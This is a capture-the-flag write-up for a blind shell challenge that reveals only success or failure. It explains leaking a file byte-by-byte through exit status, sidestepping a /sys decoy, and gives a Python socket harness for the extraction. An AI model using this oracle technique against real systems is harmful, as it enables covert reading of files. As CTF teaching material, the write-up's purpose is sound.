Vibe Shell
Vibe Shell
Platform: bug-makers | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: binary_search_extraction, boolean_oracle_byte_leak, exit_status_side_channel, find_enumeration, printf_ascii_trick
Summary
Task: a netcat service that executes each input line as a fresh shell command and reveals only a boolean (Good Vibes/Bad Vibes) reflecting exit code 0 vs non-zero. Solution: turn the exit-status oracle into a byte-leak primitive via binary search and the printf '%d' ASCII trick, bypass a /sys flag decoy, enumerate the single real .txt file, and read it byte-by-byte.
Vibe Shell — bug-makers (BugCTF)
Description
Вайб Шелл. Сначала разберитесь, что делать, а потом ищите решение. Доступен сервер, который отвечает только «успех» или «провал». Ваша цель — найти расположение и имя текстового файла с флагом и прочитать содержимое. Рестарт контейнера каждые 30 мин.
English summary: A server reachable via nc 31.207.77.216 4027 responds only with "success" or "failure". Each input line is executed as a fresh, stateless shell command and the only feedback is the command's exit status. The goal is to find the location and name of a text file containing the flag and read its contents. The container restarts every 30 minutes.
Analysis
The service is a blind command-execution boolean oracle. Probing with simple commands maps the response space:
true→ 🟢 "Good Vibes!" (exit code 0 = success)false→ 🔴 "Bad Vibes!" (non-zero exit = failure)exit 1→ 🔴, garbage command → 🔴
Key constraints discovered:
- Read-only filesystem.
echo x > /tmp/xfails; neither/tmpnor the cwd is writable. - Stateless. No state persists between commands — every line is a brand-new shell. You cannot stage partial results into a temp file; each leaked byte must be re-derived from the original command.
- Only a single bit of output per query (exit 0 vs non-zero).
With only one bit of feedback per request, the whole challenge reduces to: build a byte-leak primitive on top of the exit-status side channel.
Solution
1. Byte-leak primitive
Any string can be leaked one character at a time using cut, and any character can be converted to its ASCII code in POSIX shell with the printf '%d' "'X" trick (a leading quote before a character makes printf emit its numeric code). A binary search over 1..127 recovers each byte in ~7 queries.
- Output length:
test $(CMD | wc -c) -le N - ASCII value of the Nth char:
test $(printf '%d' "'$(CMD | cut -cN)") -le MID
2. Locate the flag file — the /sys decoy
The obvious move misleads you:
sh read-only • copy allowedfind / -name "flag*" -type f
This matches only /sys/devices/pnp0/00:00/00:00:0/00:00:0.0/tty/ttyS0/flag — a kernel sysfs attribute (the serial port's flags register). It coincidentally matches flag* and is a pure decoy. It is not a text file with the flag.
The challenge description is the hint: the flag is in a text file, and its name does not contain "flag". Enumerate .txt files outside system directories:
sh read-only • copy allowedfind / -name "*.txt" -type f 2>/dev/null | grep -vE "^/sys|^/proc|^/usr|^/etc|^/lib"
Exactly one path remains. Leaking it byte-by-byte through the oracle yields:
/home/ctfuser/secret.txt
3. Read the flag
sh read-only • copy allowedcat /home/ctfuser/secret.txt | cut -cN
Leaked byte-by-byte → BugCTF{REDACTED}.
Performance notes / pitfalls
- Running
find /once per oracle query is extremely slow and caused timeouts. Once the containing directory is identified, scopefindto a specific top-level dir (/sys, then/home). - The read-only + stateless combination means you cannot cache
findresults in/tmp; every byte of a path must be re-derived from the same command pipeline. - The
/sysflagattribute is the deliberate trap.find / -name "flag*"sends you to a sysfs register; the real target is a.txtwhose name (secret.txt) contains no "flag" substring.
Python harness (oracle.py)
python read-only • copy allowedimport socket, time HOST, PORT = "31.207.77.216", 4027 def make_conn(): s = socket.socket() s.settimeout(8) s.connect((HOST, PORT)) return s def ask(s, cmd): s.sendall((cmd + "\n").encode()) time.sleep(0.25) data = b"" end = time.time() + 5 while time.time() < end: try: chunk = s.recv(4096) except socket.timeout: break if not chunk: break data += chunk if b"Vibes" in data: break if b"Good Vibes" in data: return True if b"Bad Vibes" in data: return False return None
Byte-leak core
python read-only • copy allowedCMD = 'cat /home/ctfuser/secret.txt' def char_at(s, idx): lo, hi = 1, 127 while lo < hi: mid = (lo + hi) // 2 if ask(s, f"test $(printf '%d' \"'$({CMD} | cut -c{idx})\") -le {mid}"): hi = mid else: lo = mid + 1 return lo def leak(s, cmd): # find output length first n = 1 while not ask(s, f"test $({cmd} | wc -c) -le {n}"): n += 1 out = "" for i in range(1, n): # last byte is usually the trailing newline out += chr(char_at(s, i)) return out s = make_conn() print(leak(s, CMD))